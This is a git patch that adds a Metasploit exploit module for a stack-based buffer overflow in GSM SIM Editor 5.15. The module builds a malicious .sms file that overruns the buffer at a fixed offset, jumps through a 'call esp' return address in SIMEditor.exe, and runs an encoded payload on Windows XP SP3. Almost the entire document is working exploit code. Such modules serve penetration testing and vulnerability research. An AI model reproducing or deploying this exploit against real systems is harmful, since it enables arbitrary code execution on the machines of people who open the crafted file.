From c6a6b79c23d7e89d2f31f6e8a36df5bc0710e92f Mon Sep 17 00:00:00 2001 From: chap0 Date: Fri, 13 Apr 2012 22:12:48 -0700 Subject: [PATCH] gsm sim 5.15 module, can get the download to test here > download.cnet.com/GSM-SIM-Utility/3000-18508_4-10396246.html --- .../exploits/windows/fileformat/gsm_sim.rb | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 modules/exploits/windows/fileformat/gsm_sim.rb diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb new file mode 100644 index 0000000000..23c0b5d7c1 --- /dev/null +++ b/modules/exploits/windows/fileformat/gsm_sim.rb @@ -0,0 +1,75 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GSM SIM Editor 5.15 Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15. + When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer + overflow occurs which allows an attacker to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ruben Alejandro', + 'chap0 ', + 'Lincoln ', + ], + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/14258/' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + }, + 'Platform' => 'win', + 'Payload' => + { + 'Space' => 2000, + 'BadChars' => "\x00", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500 + }, + 'Targets' => + [ + [ 'Windows XP SP3', + { + 'Ret' => 0x00405201, # call esp - SIMEditor.exe + 'Offset' => 810 + } + ] + ], + 'Privileged' => false, + 'DisclosureDate'=> 'Jul 07 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']), + ], self.class) + + end + + def exploit + buffer = rand_text_numeric(target['Offset']) + buffer << [target.ret].pack('V').unpack("H*")[0] + buffer << make_nops(30).unpack("H*")[0] + buffer << payload.encoded.unpack("H*")[0] + + file_create(buffer) + + end +end